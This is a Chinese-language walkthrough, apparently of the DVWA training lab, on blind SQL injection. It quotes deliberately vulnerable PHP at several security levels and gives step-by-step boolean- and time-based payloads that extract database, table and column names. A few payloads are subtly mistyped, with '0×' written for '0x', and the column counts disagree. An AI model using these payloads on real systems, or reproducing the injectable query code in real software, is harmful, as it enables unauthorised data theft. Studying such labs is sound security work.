前言
SQL盲注,即SQL Injection(Blind),与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果(错误回显),而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。
手工盲注思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
-
Low
服务端核心代码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到, 当sql语句查询(执行)成功的时候, 页面会给出提示信息:
User ID exists in the database.;
否则就显示:
User ID is MISSING from the database
即返回结果只有两种。
漏洞利用
首先演示布尔盲注,
正常操作:
1. 判断是否存在注入点以及注入类型:
1' and '1'='1
1' and '1'='2
于是存在注入点; 且注入类型为字符型。
2. 爆当前数据库
- 爆数据库长度
首先要判断数据库名的长度, 下面是payload:
1' and length(database())=4#
- 猜解每一位字母
这里就比较麻烦了, 要利用两个函数
mid()函数: 来截取每一位字母;
ascii()函数: 将字符转化为数字, 进而用二分法猜解出字符对应的ascii码
爆每一位字符的payload:
1' and ascii(mid(database(),1,1))>110#
下面演示二分法:
1' and ascii(mid(database(),1,1))>110# | 报错 |
1' and ascii(mid(database(),1,1))>100# | 报错 |
1' and ascii(mid(database(),1,1))>99# | 正确 |
1' and ascii(mid(database(),1,1))=100# | 正确 |
由此可见, 第一位字符的ascii码为100, 对应字符为 d
接下来的步骤就是一样的了, 重复上述步骤就可以猜解出数据库为: dvwa
3. 猜解表的个数
猜解数据库 dvwa 下的所有表个数:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=3#
得知表的个数为 3 个
4. 猜解第一个表的长度
这里用通过 limit 来限制输出的表: (应用二分法)
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#
5. 猜解第一张表
爆每一位字符时候就要利用mid()函数了, payload:
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110# | 报错 |
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100# | 正确 |
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103# | 错误 |
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103# | 正确 |
得到第一位字符的ascii码为103, 对应字符为 g
然后按照上面的步骤继续猜解就可以得到第一张表的名为: guestbook
6. 猜解指定表的字段数
假设我们要猜解users表下的所有字段数, 那么方法也是和上面的大同小异
payload为:
1' and (select count(column_name) from information_schema.columns where table_name="users")=11#
7. 猜解第一个字段的长度
和猜解表名一样, 这里先猜解长度, 再逐字猜解。
猜解字段长度的payload:
1' and (select length(column_name) from information_schema.columns where table_name="users" limit 0,1)=7#
8. 猜解第一个字段的每一个字符
1' and ascii(mid((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=117#
如此反复, 就可以得到所有字段名了。(为了不让文章篇幅过长, 就不再一一演示了)
-
Medium
服务端核心代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
漏洞利用
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。
这里依然采用十六进制编码的方法来绕过mysql_real_escape_string函数。
之前已经介绍了详细的盲注流程,这里就简要演示几个。
首先是基于布尔的盲注:
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。
然后是基于时间的盲注:
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。
-
High
服务端核心代码:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
漏洞利用
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。
但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1’ and length(mid(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。
-
Impossible
服务端核心代码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。
-
参考文章